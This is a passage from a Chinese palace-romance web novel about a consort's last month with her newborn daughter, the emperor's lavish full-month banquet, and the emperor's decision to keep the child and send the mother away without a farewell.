“不行。”祁让断然否决,“好不容易才给她扳过来,你这会子不能再心软。” 晚余背过身,眼泪还是掉了下来。 她本来就没打算心软的,是他非逼着她心软,现在她心软了,他又叫她不要心软。 这个人,恨他八辈子都恨不够。 如此又过了两三天,小公主终于习惯了奶娘的味道,不再只黏着晚余,反倒因为祁让时不时地抱她,更倾向黏着祁让了。 有时祁让在暖阁里批折子,听到她哭闹,就让人把她抱过来,自己搂着拍哄一会儿,小公主就安安静静地在他怀里睡着了。 祁让就让她睡在自己腿上,一只手搂着她,一只手批折子,在大人看来极不舒服的姿势,小公主却睡得格外香甜。 晚余闲来无事,就在旁边给祁让研墨,有时祁让抱着孩子腾不开手,还会让她帮忙念折子,听她念完,就指导她在上面写批语。 晚余一开始不敢,祁让再三要求,她也只敢写“已阅”“准奏”这样的批复,需要给出具体意见的,她说什么都不写。 她很擅长模仿别人的笔迹,得到祁让的允许后,很快就把他的字体模仿得形神兼备,几可乱真。 祁让看了,笑着打趣她:“要是朕哪天突然驾崩,没来得及立储,你这字就能派上用场了。” 晚余被他说的心惊,嗔怪道:“好的不灵坏的灵,皇上切莫胡言乱语,快呸呸呸。” 祁让当真听她的话呸了三声,笑着问她:“你不是到死都恨朕吗,怎么又怕朕死?” 晚余说:“臣妾是怕皇上有个好歹没有人保护公主。” 祁让低头看着在自己怀里睡得香甜的小女儿,心中柔肠百结:“朕起码要活到梨月出嫁才行,朕要给她挑选一个天下最好的儿郎做驸马。” 晚余想着,梨月出嫁的时候,自己不知身在何方,不禁黯然神伤。 祁让问她:“你希望梨月找一个什么样的驸马?” 晚余想了想,说:“首先要相貌出众,其次要文武双全,还要有胸襟,有气度,有担当,温柔体贴,善解人意……” 她一口气说了很多。 祁让渐渐垮下脸来,等她好不容易说完,冷哼一声道:“这到底是你想给梨月找的,还是你想给自己找的,朕怎么越听越像沈长安呢?” 第319章 朕不够温柔体贴吗? 晚余说这些的时候,并没有去想沈长安,她只是发自内心的想让女儿嫁一个各方面都优秀的儿郎。 她也没想到,自己随口几句话,祁让都能联想到沈长安身上。 如果是这样的话,是不是说明祁让自己也是认可沈长安有这些优秀品质的? 既然如此,他有什么可恼的? 晚余不想激怒他,就反过来问他:“那皇上呢?皇上自己希望梨月能找个什么样的驸马?” 祁让被问住,自个在心里琢磨了一番,相貌确实需要出众,能文能武也是基本条件,有胸襟有气度有担当,更是必不可少的,天家的女婿自然不能心胸狭隘担不起事。 至于温柔体贴,善解人意,也是必要的,否则岂不委屈了他的小公主? 他想了半天,不得不承认,晚余说的这些,都是最基本的,真要让他列举的话,除此之外他还能再加个七八十条,但凡有一条不符合他的要求,他都不能松口。 只是…… 他伸手怜惜地摸了摸女儿的脸,眼底划过一抹不易察觉的哀伤…… “算了,那么遥远的事,还是到时候再说吧!”他若无其事道,“现在打算得再好,孩子也未必会照咱们想的来,万一她就看上一个肩不能扛,手不能提的,谁能拿她怎么办?” 晚余听他这么说,心下暗想,这孩子长大了会不会和她爹一样偏执? 万一真看上一个不合适的,死活非要和人成亲,那可如何是好? 万一人家没看上她,她会不会也学她爹把人强抢回来? 晚余看看祁让,又看看孩子,觉得自己的担心不无道理。 这孩子的性情,从吃奶这件事上已经隐约可以看出一些端倪,往后要是一直被娇纵着长大,不敢想象会有多执拗。 “皇上以后可别太惯着梨月,要对她严厉一点,不要什么都由着她的性子来。”晚余心知祁让不会听,还是嘱咐了一句。 祁让没说好也没说不好,只嗯了一声算作回答,转而问她:“朕在不在你说的那些范围里?” “啊?”晚余愣了下,一时没反应过来,“皇上什么意思?” 祁让说:“就是你的择偶标准。” 晚余直觉这是道送命题,忙含糊道:“不是我的,我说的是公主。” 祁让却不容她逃避:“甭管谁,你就说朕在不在吧?” 晚余躲不过,认真想了想,说:“皇上的样貌自然没得说,外面都说您是天下第一美男子。” “是吗?”祁让挑眉,“不是沈长安吗?” “不。”晚余一脸认真地拍他马屁,“沈将军是京城第一,皇上是天下第一。” “……”祁让差点压不住嘴角,“别的呢?” “别的呀……”晚余小心翼翼道,“皇上文韬武略,已经不是文武双全可比,自然更胜一筹,皇上胸怀天下,威震四海,就是,就是……” “就是什么,不够温柔体贴是吧?”祁让自个替她说出来。 晚余可不敢承认,拐着弯儿道:“皇上君临天下,统御前朝后宫,不需要太温柔。” 祁让哼了一声,不上她的当,但也没有一直追问。 他现在已经明白,有些话要适可而止,说深了容易说崩。 他是不够温柔,但他仅有的一点温柔,不都给她了吗? 午后,祁让回了一趟乾清宫去和几位大臣议事。 晚余想着他一时半会儿回不来,就让紫苏把贤贵妃请来坐坐。 贤贵妃来得很快,两人之间没什么好遮掩,她也不必在晚余面前隐藏自己的心思。 晚余便将小公主这几天的情况和她说了,说因为找奶娘的事把孩子折腾得不轻,脾胃有些失调,祁让不放心,让先养一养再说。 贤贵妃表示理解,对晚余真诚道:“无论是妹妹舍不得孩子,还是皇上舍不得孩子,我都是理解的,我什么也没做过,白得一个孩子,心里除了感激,没有别的可说。 相信妹妹自个也在心里衡量过,这宫里能够照顾孩子平安长大的找不出几个人,咱们两个好歹对彼此知根知底。 别的我不敢保证,但我一定会把妹妹的孩子视如己出的,凡我有的,都是她的,将来我若登了高位,她便是宫里最尊贵的公主,纵然嘉华是长女,也越不过她去。” 晚余点头:“姐姐说的我都懂,我的心思姐姐也懂,所以还请姐姐再耐心等些时日,等公主满了月,身体养得好了你再接去,反而更省心,更好带。” 贤贵妃笑道:“皇上不放手,我再急也没用,不过我瞧皇上这架势,都怕你走后他会不会把孩子接到乾清宫去自个教养呢!” “姐姐觉得那样现实吗?”晚余笑着反问。 贤贵妃说:“皇上日理万机,哪有功夫带孩子? 前朝倒是有皇帝亲自教养孩子的先例,但那都是被寄予了厚望的皇子,长到几岁才接到皇上身边的,言官们自然不会说什么,把个刚满月的公主带在身边算怎么回事? 有公主就要有乳母,有教习姑姑,还要有七七八八的宫女服侍,那么多女人都住在乾清宫,岂不要乱套? 再说了,教养皇子和教养公主完全不是一回事,爷们儿家哪里知道女孩子要怎么教? 过几年到了女大避父的年龄,再交给别的妃嫔抚养,孩子和养母两不亲近,反倒更加麻烦,妹妹说是不是这个理儿?” 晚余听她说的头头是道,不禁笑起来:“道理姐姐都明白,还有什么好担心的呢?” 贤贵妃自己也笑:“所谓关心则乱,事情和自己无关的时候,谁都可以说几句不痛不痒的大道理,一旦关系到自身,谁又能真正做到云淡风轻?” 晚余对这话深以为然。 “无论如何,我是真心实意想要把孩子托付给姐姐的,请姐姐无论如何都要替我把孩子看顾好,就算姐姐将来有了自己的孩子,也别冷落了她。 不管我将来身在何方,都会为姐姐日夜祈祷,求神明保佑你得偿所愿,母仪天下。” 贤贵妃发自内心地笑起来:“我也祝妹妹得偿所愿,从此天高任鸟飞,江海寄余生。” 第320章 朕又不是没见过 晚余不喂奶之后,每天涨得难受,只能自己往外挤,等到小公主完全适应了奶娘的喂养,确认不会再反复,她就让太医给自己开了回奶的药来喝。 但这药也不是喝一回就管用的,有时候睡到半夜涨起来,仍要起来挤掉。 当着祁让的面不好意思,就躲到别的房间去挤。 祁让见她来回折腾,替她难受:“朕又不是没见过,你何必跑来跑去避着朕?” 晚余羞于和他讨论这个问题,红着脸叫他别管。 祁让见她生了孩子还是这般害羞的模样,不禁有些心猿意马,虽然不能行房事,还是搂着她亲热了一番。 晚余身上比从前多长了些肉,摸着更软更滑腻,令他爱不释手。 想到她还有半个多月就要走,恨不得直接停了朝政,日日夜夜守着她,陪着她。 晚余坚决反对,说他若果真如此,除了他自己,前朝后宫没有一个人会高兴。 天子管教万民,反过来,万民都是天子的制约,如果天子太过随心所欲,就会失去民心。 祁让自然也明白这个道理,因此想归想,并不能付诸行动,只能把一部分政务分派给内阁和司礼监,尽量挤出更多的时间待在承乾宫。 这样一来,许多妃嫔便打着探望小公主的旗号跑到承乾宫来和他偶遇,一次两次他不当回事,次数多了,就觉得厌烦,让人守在门口,只要他在承乾宫,就不许任何人来串门。 乌兰雅和所有人都不同,总是捡着祁让不在的时候去,和晚余一起说说话,逗逗孩子,没有祁让在旁边,两人干什么都自在。 晚余看着乌兰雅逗小公主玩,想起她以前和自己一起逗雪团玩的情形,感觉那些事好像已经很遥远。 有时候,时间的长度是可以根据人的心境来换算的,快乐的时光总是短暂的,悲伤却会将时光无限拉长。 晚余想到雪团,突然间就悲从中来,哭得不能自已。 雪团死后,她根本不敢想它,不敢想起那天的事,就下意识的将那段记忆藏了起来。 如今想来,雪团被乌兰雅当宝贝似的宠着,什么好东西没吃过,它哪有那么馋,直接从树上跳下来抢吃的,还把一桌子东西都打翻了? 况且玉竹那天带回来的都是甜品,雪团平时并不喜欢吃甜食。 “雪团肯定是知道了什么,或许是齐姐姐在天有灵,派雪团来救我和孩子的。”她哭着对乌兰雅说。 乌兰雅想起雪团也难免感伤,两人抱头痛哭了一场。 这天过后,晚余一直神思倦怠,提不起精神,时常看着某个地方发呆,然后突然掉眼泪。 祁让以为乌兰雅和她说了什么话,就把乌兰雅叫过来问。 乌兰雅和他说了雪团的事,祁让听了大为不解。 “那件事已经过去那么久了,她现在哭个什么劲儿?” 乌兰雅说:“有些事是过不去的,只是你以为它过去了,其实它一直藏在暗处,像蛰伏在黑夜里的兽,会在你最不设防的时候突然跳出来攻击你。” 祁让没想到她能说出这样一番话,不由得深深看了她几眼:“你汉话好像长进不少。” “多谢皇上夸奖。”乌兰雅说,“臣妾觉得贞妃可能病了,皇上还是传太医来瞧瞧吧!” 祁让就让人传了太医院的院判来给晚余诊脉。 院判诊过之后,说晚余的身子虽然还有些虚弱,但也只是虚弱,没有别的病症,如果非要说有什么病,可能是心病。 “什么心病?”祁让不自觉皱起眉头,直觉这不是什么简单的事。 院判回道:“有很多妇人产子之后会出现情志失常之症,具体表现为忧思过度,夜不安寝,悲喜无常,睹物流泪等症状,太医院的医案有记载,高祖时孝懿皇后产后就曾患此症,调养半年方愈。” 祁让的心沉了沉,问他有什么法子调养。 院判说:“除了开些舒肝解郁的汤剂,就是想办法让患者高兴起来,陪她做些开心的事,和她多多回忆从前的欢愉之事,慢慢引导她从沉郁的情绪中走出来。” 祁让认真想了想,他和晚余的从前,好像没有一件事是欢愉的。 或许在他看来是欢愉的,在晚余看来却不是,如果说出来,甚至可能会加重晚余的病情。 他觉得很悲哀,他们在一起已经六年多了,怎么会没有一件欢愉的事呢? 意识到这点,他自己都差点抑郁了。 他不知道该怎么办,就把胡尽忠叫来,问他做什么事能让晚余高兴起来。 胡尽忠想了想说:“娘娘小时候不是经常和徐掌印一起玩吗,他们之间肯定有很多有趣的回忆,皇上要不要请徐掌印来试试?” 祁让立时沉下脸,看向他的眼神都带着杀气。 胡尽忠吓得直缩脖子,以为他又要发脾气,他却只是做了一个深呼吸,摆手道:“那你就亲自往司礼监走一趟吧,把贞妃的情况和徐清盏说一下,叫他把别的事先放一放,过来陪贞妃好好说话。” “……”胡尽忠下意识抬头看天,想看看太阳是从哪边出来的。 祁让冷着脸,一脚踹在他屁股上:“看什么看,还不快滚!” 胡尽忠被踹得哎呦一声,龇牙咧嘴地捂着屁股跑了。 约摸一炷香的功夫,徐清盏才过来,大红的绣金蟒袍外面罩着厚厚的银鼠皮斗篷,天一冷,他的咳疾便频繁发作,人还没到近前,就听到一阵咳嗽声。 祁让在暖阁里批折子,恰好小公主闹起来,祁让就抱着她走来走去地拍哄。 徐清盏过来行了礼,掀开襁褓去看孩子。 小公主看到一个陌生人,反倒不哭了,睁着乌溜溜的眼睛看他,突然一把抓住了他垂在身前的帽绳,抓住后就再也不松手。 胡尽忠在旁边探着头看,笑得三角眼都眯起来:“我们小公主从小眼光就好,专挑长得好看的抓,奴才帽子上也有绳,抱了公主这么多回,也没见公主抓奴才一下。” 祁让嫌弃地看了他一眼:“别人一抱就哭,你长这么丑,公主能让你抱就不错了。” “……”胡尽忠的笑容僵在脸上。 虽然自己确实不怎么俊,皇上也不用说得这么直接吧? 小公主抓着徐清盏不放,祁让就让徐清盏抱着她去看晚余,自己回去批折子。 “你好好和贞妃说,叫她别胡思乱想,这一回朕不会再留她。” 徐清盏答应一声,从他怀里接过公主,看着他转身回了暖阁,不知道为什么,总觉得他那一个转身的动作显得格外落寞。 这一回,他是真的决定放手了吗? 第321章 他们的回忆,与他无关 晚余躺在床上,望着头顶天水蓝的床帐发呆。 徐清盏抱着孩子走到床前叫她:“小鱼。” 晚余转头向他看过来,木呆呆的眼睛里有了些许神采:“清盏,你怎么来了?” 徐清盏看着她病蔫蔫的样子,不由得一阵心酸。 这根本不是他认识的江晚余。 当年那个为了救他而奋不顾身的小姑娘,虽然被亲生父亲嫌弃,和母亲在外面过着见不得光的生活,却也因此有着足够的自由,不用像世家贵女那样被各种规矩约束。 在他眼里,她就像荒原上蓬勃生长的野草,像山林间自由奔跑的精灵,像江海里游来游去的鱼,集天地灵气于一身,纯粹得如同清晨花蕊间的露珠。 在她第一次拉过他的手,把一包点心放在他手里时,在她义无反顾用弱小的身躯将他护在身下时,在他还不知道男女情爱为何物时,他就已经喜欢上了她。 只要能每天看到她的笑脸,听她脆生生地唤一声清盏,就是他最大也最卑微的心愿。 而今,时过境迁,物是人非,当年那精灵般的小姑娘已经初为人母,他的心愿始终没变,却也始终没能实现。 她脸上早已没有了年少时的纯真笑容,他们近在咫尺,却不能每天相见。 现在的她,就像被人剪下来插在花瓶里的花,短时间内还是那样美丽,却早已没了养分,枯萎是迟早的事。 徐清盏的心一下一下地抽痛,抱着孩子嗯了一声:“皇上怕你无聊,叫我来陪你说说话。” 晚余似乎不愿谈及祁让,看着他怀里的襁褓说:“这孩子可认生了,竟愿意让你抱?” “因为我长得好看。”徐清盏说,“你当年不就是因为我长得好看才救我的吗?” 晚余笑起来:“是啊,你那时虽然一脸脏污,在垃圾堆里扒东西吃,但我就是觉得你很好看,和别的男孩子都不一样,我想,这样好看的人,怎么能捡垃圾吃呢,我要把我所有的好吃的都给他吃。” “所以你就把刚买的一包桂花糕都给了我。” 徐清盏咂巴着嘴,似乎还能品咂到当年的滋味。 那是他这辈子吃过的最好吃的桂花糕,后来纵然他身居高位,锦衣玉食,却再也没吃到过那样美味的桂花糕。 “十二年了。”晚余感慨道,“不知道我常去买桂花糕的那家铺子还在不在?” “不在了。”徐清盏说,“店主赚了钱,把铺子搬到了朱雀大街,但是生意反倒不如在小巷时那么好了。” “为什么?”晚余颇有些遗憾,“朱雀大街客流那么大,怎么反倒生意不好了呢?” “谁知道呢!”徐清盏幽幽道,“可能有些时候,人们习惯性到一个地方买吃食,为的不仅仅是那一口吃食吧!” 或许是为着一个人,或许是为着一段记忆,或许是为着一种只有他自己才懂的心情。 换了地方,纵然还是同一个师傅做出来的,味道也会不同。 可能不同的不是味道,而是心境。 “万幸的是,我们常去的那家无名酒馆还在。”徐清盏说,“你还记得你头一回喝烧刀子时的情形吗?” “记得。”晚余点头,撑着身子坐了起来,“都是你骗我,说那是果子酒,好喝不上头,我一口下去就被辣哭了,长安为我报仇,把你摁在桌上灌了两大碗,结果你醉的走不成路,还是他把你背回去的。” “哈哈哈哈……”徐清盏忍不住笑出声来。 小公主被他的笑声惊醒,瘪着嘴哭起来。 徐清盏忙收了笑,动作笨拙地拍哄她:“好了好了,不哭了,哦哦哦……” 晚余靠在床头,看着他手忙脚乱地哄孩子,眼神温柔如水。 珠帘外,祁让静静站着,听到孩子的哭声也没进去。 他们的回忆,与他无关,他进去只会破坏那份美好。 之后的几天,徐清盏每天都会抽空来看晚余,在他的陪伴下,晚余的情绪稍微好了些,睹物流泪的情况也少了。 祁让一面觉得欣慰,一面又觉得心酸。 自己的女人自己哄不好,还要找别人帮忙,叫他如何不心酸。 趁着晚余心情好的时候,他和晚余说了给小公主办满月酒的事。 晚余说马上就要过年了,届时宫里要大宴群臣,不如就等那时一起办了,省得多折腾一回,也省得别人说他为了一个公主铺张浪费。 因为按本朝惯例,只有皇子出生才会有百官上表,昭告天下,大宴群臣之类的庆贺。 倘若是皇后亲生的皇子,可能还会有番邦使臣来贺。 公主出生一般都比较简单,没有什么特别的仪式。 高位妃嫔生的公主可能会以皇后或太后之名在后宫宴请三品以上大臣的家眷。 低位妃嫔生的,大多是皇上赏赐一些东西以示嘉奖,没有额外的宴请。 这种情况下,晚余着实不赞成祁让为了小公主大宴宾客。 她总想着怎么低调怎么来,不想让公主出什么风头,况且黄河水患才过去没多久,国库也不丰盈。 祁让却说除夕宴是除夕宴,满月宴是满月宴,不能混为一谈,国库再不丰盈,也不至于摆不起一场酒席,他就是要给他的梨月至高无上的宠爱。 晚余拗不过他,只能由他去张罗,同时心中又隐约不安,总感觉有什么事情要发生。 后面的时间,又下了两场雪。 满月宴的前一天,祁让和晚余说,沈长安从西北回来了,不出意外的话,应该能赶上明天中午的大宴。 第322章 人比人气死人 晚余心中百感交集,也更加忐忑不安,不知道自己的不安会不会应验在沈长安身上。 她想,她到时候一定要避着沈长安,无论如何,不能在这最后的关头惹恼了祁让。 祁让现在表面上看是比从前温和了很多,可谁也不敢保证他什么时候会突然发疯,自己无论如何都不能招惹他。 祁让见晚余神情很是戒备,便笑着宽她的心:“放心吧,朕不会生气的,朕若真那么小心眼,大可以不让他参加。” 晚余将信将疑,并不敢放松警惕。 上了他这么多回当,最后一回,她绝对不能再上当。 满月宴这天,是冬日里难得的好天气,几日不见的太阳一大早就破云而出,厚厚的积雪映着红日,将整座紫禁城装点的如同云顶仙宫,美轮美奂。 正午时分,京中高门权贵携家眷入宫赴宴,祁让一袭明黄龙袍长身玉立,抱着裹在杏黄襁褓里的梨月公主,于乾清宫的月台上接受文武百官的祝贺。 明晃晃的日头升到中天,灿灿金光洒落在金殿玉阶之上。 祁让凤眸微眯,抬头望天。 这样明媚的阳光,照着他,也照着他的小公主。 这是他们父女二人第一次共沐阳光。 他把他能给的荣耀都给了怀里这个小小的人儿,这般的宠爱,已经超过了一个公主该享有的极限。 便是他那两个夭折的皇子,也不曾有这样的待遇。 许多人对此已经颇有微词,只是明面上不敢置喙。 祁让却是一副理所当然的样子,等到百官朝贺完毕,众宾客入席之时,他又让晚余抱着孩子坐在了他的身边。 历来宫中大宴,只有皇后才能坐在皇帝身边,眼下宫中无后,或空着,或让贵妃代替皆可,他却偏要让晚余坐在那个位子上。 晚余坐在那里,面对着满堂宾客,简直如坐针毡。 她虽在妃位,平时衣着打扮都很素雅,今天却穿了一袭朱红织金凤穿牡丹的广袖袍服,头上戴着九凤朝阳冠,正中一只金凤口衔红宝石垂至前额,耳朵上是一对赤金嵌红宝石耳坠。 本就如羊脂美玉般的脸上敷了上等的珍珠粉,樱唇点了庄重的绛红色,远山眉斜飞入鬓,眉尾以金粉勾勒,如凤羽轻扬,眸光流转时,竟带出几分母仪天下的威仪。 她本不欲如此装扮,是祁让强行让人给她打扮成这样的,说今天是她和小公主的大日子,一定要隆重,要艳压群芳。 现在呢,艳压倒是艳压了,只是宾客们和众妃嫔看向她的目光,几乎要将她身上戳出几百个洞。 命妇们小声交头接耳:“皇上对贞妃娘娘当真宠爱有加,给予她们母女二人的荣耀,只怕将来的中宫皇上都得不到。” “什么叫将来的中宫皇后,我瞧皇上这架势,怎么好像已经打定主意立贞妃为后呢?” “不会吧,宫里不都在传,贞妃满了月就要出宫吗?” “孩子都有了,还能出哪去,哪个当娘的能舍得自己的亲生骨肉?” “这倒也是,我瞧着皇上也很舍不得她。” 另一边,后宫妃嫔同样在交头接耳。 “皇上为贞妃母女摆这么大的排场,到底想干什么呀?” “谁知道呢,不过一个妃位,皇上居然让她坐在那个位置,就算没有皇后,不还有两位贵妃吗?” “万一皇上就是想要立她为后呢,说不定等会儿就宣布了。” “不能这么草率吧,她不是要走了吗?照你这么说,难不成出宫的意思就是从承乾宫走出去,换到坤宁宫里去住吗?” “管他呢,反正也轮不到咱们,要怄气也是两位贵妃和庄妃怄气,咱们连怄气的资格都没有。” 嘀嘀咕咕的声音隐约落在兰贵妃耳中,兰贵妃咬着牙,手里的绢帕几乎要被她绞碎。 真是人比人气死人。 那贱人不过是生了个公主而已,她当年诞下皇长子时,皇上也不曾给她这样的荣宠。 那贱人最好明日就走,倘若又改了主意想赖在宫里,她定然不会让她们母女二人好过。 贤贵妃还是一如既往的笑意温柔,心里却酸酸的不是滋味。 也怪她事先没做好充分的准备,如果孩子一出生就抱到她那里抚养,眼下坐在皇上身边的那个人就是她。 不过好在贞妃要走了,以后小公主的每个生辰宴,都将会是她坐在皇上身边。 便是冲着这一点,她也会对小公主好的,只有她对小公主好,皇上才会对她好。 庄妃抱着懵懂无知的嘉华公主,脸上强颜欢笑,心里却像吃了苍蝇似的难受。 皇上说宫里不管再添多少孩子,嘉华都是不可替代的长公主。 可是皇上现在的表现,哪有半点把嘉华这个长女放在眼里? 自己生孩子的时候是什么待遇?贞妃生孩子的时候又是什么待遇?两下一对比,她觉得自己给贞妃提鞋都不配。 尤其眼下,别人在羡慕贞妃母女的同时,说不定正在心里嘲笑她们母女。 当初嘉华给贞妃的那颗糖,贞妃要是吃了该多好。 她低头看看嘉华,再抬头看看贞妃怀里包着杏黄色襁褓的小公主。 只有太子才能用的杏黄色,皇上硬是用在了一个公主身上,也不怕那孩子压不住。 压不住才好,最好一命呜呼了,看皇上还怎么疼她。 第323章 把孩子给沈将军看看 众目睽睽之下,晚余浑身都不自在,就低下头假装看孩子,心想小公主这会子要是能哭一哭就好了,这样她就有借口离席了。 祁让像是嫌她遭受的嫉妒不够似的,凑过来和她一起看孩子,头抵着她的头,羞得她满面通红。 “皇上别这样,这么多人看着呢!”她小声说道。 祁让近距离的凝视她,幽深的眸底藏着万千情绪:“怕什么,你就要走了,以后再想这样也没有了,今日就当朕给你最后的荣宠吧!” 静安太妃和永乐公主就坐在他们旁边,静安太妃笑眯眯地看着一家三口,顺便拉着永乐公主的手拍了拍: “你也老大不小了,回头哀家让你皇兄给你寻觅一个合适的人家,早点把终身大事定下来,免得你一个人孤孤单单。” 永乐公主也看着他们一家三口,脸上却是一点笑模样都没有,只是轻轻扯了扯唇。 “什么叫合适的呢,连我自己都不知道,太妃就不要为我操心了,没有合适的,我就像端妃那样在自己宫里吃斋念佛做个姑子倒也自在。” “胡说,好好的一个公主,千娇万宠的,怎么能做姑子呢?”静安太妃说,“端妃那是钻了牛角尖,自个想不开,你可不能学她。 年轻人就要心胸开阔,天涯何处无芳草,这个不行还有那个,京城这么多好儿郎,只有你挑人家,没有人家挑你的道理。” 没有吗? 永乐公主的视线有意无意地从武官席位上扫过。 犹记得去年皇上在乾清宫设宴为那人接风,说要为她和那人赐婚。 她满心欢喜期待,最后却当着满堂宾客被毫不留情的拒绝。 而今,乾清宫又有大宴,那人不在,那人的心上人为皇兄生了孩子,自己仍旧形单影只。 这一年来,到底是谁得偿了所愿? 好像谁都没有? 正想着,门外忽有人报:“皇上,沈大将军回来了。” 永乐公主愣住,心扑通扑通跳起来,和众人一起向门外看去。 晚余也情不自禁地看向门外。 祁让说了声“让他进来”,很快,沈长安就在徐清盏的陪同下,风尘仆仆地走了进来。 两人同样的高挑身形,徐清盏瘦得像一根修竹,冷得像一把淬了剧毒的刀,沈长安却仿佛一仞山峰,雄壮巍峨,气势凌云。 晚余已经很久没看到他们两个同时出现,猜想徐清盏肯定是听闻沈长安回来,早早的出城去迎接他了。 沈长安走到近前,对祁让屈膝下跪:“皇上万安,臣为了赶赴公主的满月宴,一路快马加鞭,满身风尘来不及清洗,请皇上恕罪。” 祁让抬手让他平身,笑着打趣:“沈大将军一路辛苦,朕正好借公主的满月宴为你接风洗尘,倒是省了一顿酒席。” 沈长安微微一笑,底下的官员都识趣地跟着笑起来。 沈长安谢恩起身,从徐清盏手里接过一个包裹打开,从中取出一件碎布拼制的襁褓。 “皇上喜得金枝,臣无以为贺,这件襁褓是西北边陲上百户百姓用自家旧衣缝制而成,虽不及云锦华美,却是臣与西北百姓的一片赤诚之心,愿小公主身体康健,无病无灾,长命百岁。” 祁让着实意外,亦十分动容,忙示意小福子把襁褓接过来,拿在手中细细端详,不觉红了眼眶。 “沈大将军有心了,西北苦寒,百姓却心怀赤诚,这襁褓虽是粗布所制,在朕看来却价值连城,是梨月公主收到的最好的礼物。” 他转头看了晚余一眼:“沈大将军还没见过公主,你抱去给他看看,也让他替西北的百姓看一看公主的模样。” 晚余在看到那件襁褓时,眼泪已经快要忍不住,听他这么说,顿时紧张起来,迟疑着没敢第一时间起身。 “去吧!”祁让笑着催促她。 晚余这才应了一声,起身抱着孩子走到沈长安面前。 沈长安先躬身抱拳道了一声“贞妃娘娘安”,这才小心翼翼地掀开襁褓。 晚余以为孩子在睡觉,谁知她去醒着,襁褓掀开,她便睁着乌溜溜的眼睛和沈长安对视,而后突然对着沈长安笑起来。 这是她从出生到现在头一回对人笑,不仅沈长安看呆了,晚余也看呆了。 笑容很短暂,沈长安的心却在那一瞬间软成了一滩水。 那样一个高大威猛,战场上杀人不眨眼的铁血将军,差点控制不住掉下眼泪。 这是晚晚的孩子呀! 她这么小,这么软,像一团棉花糖。 会笑的棉花糖。 “怎么样,像不像朕?”祁让问道。 沈长安深呼吸,压下那汹涌的泪意,心中亦是苦涩难言:“像,和皇上一模一样。” 小公主很快就又哭起来,扭着小脑袋找奶吃。 祁让就让晚余把公主给奶娘,让奶娘抱她去偏殿喂奶。 “父皇,我想和妹妹一起去。”嘉华公主奶声奶气地叫祁让,“这里一点都不好玩,我要和妹妹玩。” 祁让心情好,笑着摆手道:“去吧,让你母妃陪着你,外面化雪呢,把衣服穿好。” “好,多谢父皇。”嘉华公主乖巧道谢,迫不及待地拉着庄妃的手去追奶娘。 庄妃便起身向祁让福了福身,领着她出去了。 晚余不放心,和祁让商量:“臣妾也去瞧瞧吧!” 祁让说:“不妨事,有玉竹玉琴跟着呢,这边马上就要开席了,你是公主的生母,命妇们都要给你敬酒的。” 晚余只好坐回到他身边,心却怎么也安静不下来。 先前她以为她的不安会应验在沈长安身上,现在沈长安已经平安回京了,为什么她还是觉得不安呢? 第324章 大梦一场 宴席进行了将近两个时辰才结束。 晚余身子本就虚弱,被各宫妃嫔和命妇们轮番敬酒,虽然每次都只是抿一小口,两个时辰下来,也喝进去不少,强撑到宴席结束,已经醉得站不起来。 祁让命人送她回承乾宫歇息,说这边忙完再过去看她。 晚余被紫苏和胡尽忠搀扶着,醉眼朦胧地坐上肩辇,看着宾客们三三两两各自散去,心中无端生出几分悲凉。 天下无不散之筵席。 这一场盛大而悲伤的筵席,终于到了散场的时候。 她屈肘撑着昏昏沉沉的脑袋问紫苏:“公主呢?” 紫苏说:“公主在偏殿睡觉,奶娘和玉竹玉琴照看着呢,皇上说等她醒了再抱她回去。” “哦。”晚余应了一声,又嘱咐道,“让人看好了,别出什么岔子。” 紫苏见她醉成这样还惦记着孩子,心里说不出的难受。 娘娘到底还是对小公主产生了感情,真要走的话,如何割舍得下? 倘若生下来就没看过,没抱过,没喂过奶倒也罢了,偏生是又看过,又抱过,又喂了奶,皇上还陪着她们母女二人过了一个月。 这一个月的朝夕相处,看着孩子一天一个样的变化,铁石心肠也会慢慢融化。 这要是一下子撒开手,简直就像把人的心从胸膛里生生剜出来一样。 生产的痛,都痛不过这生离死别。 可怜的娘娘,今后这漫长的岁月,要怎么熬下去? 晚余回到承乾宫,被紫苏和几个宫女伺候着洗漱更衣,一沾到床便倒头睡了过去。 她以前极少喝酒,这回算是她人生中头一回酩汀大醉。 醉了也好,醉了至少不再痛苦纠结,漫漫长夜不再那么难熬。 她陷进悠长的梦里,二十二年的人生,如走马观花一般在梦中一一浮现,那样短暂,又是那样漫长,看似人来人往,能留在记忆里的,也不过就那几个人而已。 她头一回梦见了祁让。 祁让抱着梨月,站在承乾宫的梨树下看着她远去。 树下落了一地洁白,不知是雪还是花瓣。 她想,可能梨就意味着离别吧,不管是梨树,还是梨月,她终将离他们而去。 “梨月,梨月……”她在梦里哭出声来。 “娘娘,醒醒,娘娘……”紫苏隔着被子轻轻推她,将她唤醒。 晚余睁开眼,恍惚了半晌,才从梦中抽离出来。 “什么时辰了?”她边问边望向窗户,发现天色已经亮起。 “我睡了这么久吗,怎么你们都不叫我,梨月呢,她一晚上都没哭吗,还是我睡得太死没听见?” 紫苏红着眼睛看她,神情很不自然。 晚余心里咯噔一下,残存的一点睡意瞬间消退,撑着身子坐了起来:“梨月怎么了?” 紫苏忙伸手去扶她:“娘娘别急,公主没事,就是,就是……” “就是什么,快说呀!”晚余急着催促。 紫苏艰涩道:“皇上把公主留在了乾清宫,说要亲自教养,并且,并且已经下旨,让娘娘醒来后即刻出宫,不必再去和公主道别。” 晚余脑子嗡的一声,怔怔地看着她,半天回不过神。 紫苏转头擦了擦眼睛,回过头来又强行挤出一个笑容:“娘娘别难过,皇上本来不就是个狠心的人吗?” 晚余面如死灰,心像是被人掏了一个洞,好半天才喃喃道:“我知道他心狠,可他居然都不让我见孩子最后一面吗?” 紫苏强忍泪水劝慰她:“不见也罢,见了心里更难受,更舍不得,反正娘娘也陪了公主一个月……” 她说到这里说不下去,走到衣柜前去找衣裳:“奴婢服侍娘娘更衣,用过早饭咱们就走,好不好?” 晚余像个木偶一样坐在床上,呆呆的没有应声。 昨日她就已经想到,天下无不散之筵席,只是没想到,这筵席散得如此匆忙。 祁让到底还是不肯听她的话,非要把孩子养在乾清宫。 这样一来,贤贵妃那边只能是空欢喜一场了。 没办法,她已经尽力了,祁让都不让她和孩子道别了,她还能怎样呢? 走吧! 就这样走吧! 或许紫苏说得对,不道别有不道别的好处,便是道别又如何,不过是摧心折肝地哭一场。 孩子那么小,连她为什么会哭都不知道,更不知道这将是一场永不相见的别离。 她忽然发觉,一个人自从来到这个世上的第一天起,就注定要面临一场又一场的别离,或早或晚,或长或短,谁都留不住谁,到最后,都是孤身一人。 或者说,活着本身,就是一场漫长的告别。 